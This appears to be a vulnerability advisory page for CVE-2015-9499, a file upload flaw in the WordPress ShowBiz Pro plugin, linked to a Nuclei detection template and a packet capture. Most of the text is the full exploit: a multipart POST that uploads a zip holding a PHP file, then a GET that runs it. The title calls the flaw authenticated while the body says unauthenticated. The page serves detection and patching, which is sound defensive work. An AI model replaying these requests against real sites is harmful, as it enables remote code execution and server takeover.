| Title | WordPress ShowBiz Pro <= 1.7.1 - Authenticated Arbitrary File Upload to RCE |
|---|---|
| Author | iamnoooob,pdresearch |
| Severity | Critical |
| Impact | Attackers can upload and execute arbitrary PHP files without authentication, leading to complete server compromise and data breach. |
| Remediation | Remove or disable the plugin immediately and update to a patched version if available. |
| CVSS Score | 9.8 |
| EPSS Score | 0.67891 |
| CVE ID | CVE-2015-9499 |
| CWE ID | CWE-434 |
| Tags | cve cve2015 wpscan packetstorm wp wordpress wp-plugin showbiz uplo intrusive vkev vuln |
The WordPress ShowBiz Pro plugin version <= 1.7.1 allows arbitrary PHP file upload via the admin-ajax.php endpoint.This leads to unauthenticated remote code execution.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 635
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
------WebKitFormBoundaryWJDMjlXCUnC1rnZg
Content-Disposition: form-data; name="action"
showbiz_ajax_action
------WebKitFormBoundaryWJDMjlXCUnC1rnZg
Content-Disposition: form-data; name="client_action"
update_plugin
------WebKitFormBoundaryWJDMjlXCUnC1rnZg
Content-Disposition: form-data; name="update_file"; filename="SRjfDbwr.zip"
Content-Type: application/zip
PK SRjfDbwr.php��/�(PHM��WHJ,N53�OIM�OI�P���pO�..��r�sK����s-� 2v� ��2��S״V�� ��PK��0;J D PK ��0;J D SRjfDbwr.phpPK : �
------WebKitFormBoundaryWJDMjlXCUnC1rnZg--
GET /wp-content/plugins/showbizpro/temp/update_extract/SRjfDbwr.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-9499.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-9499.pcap
N/AN/A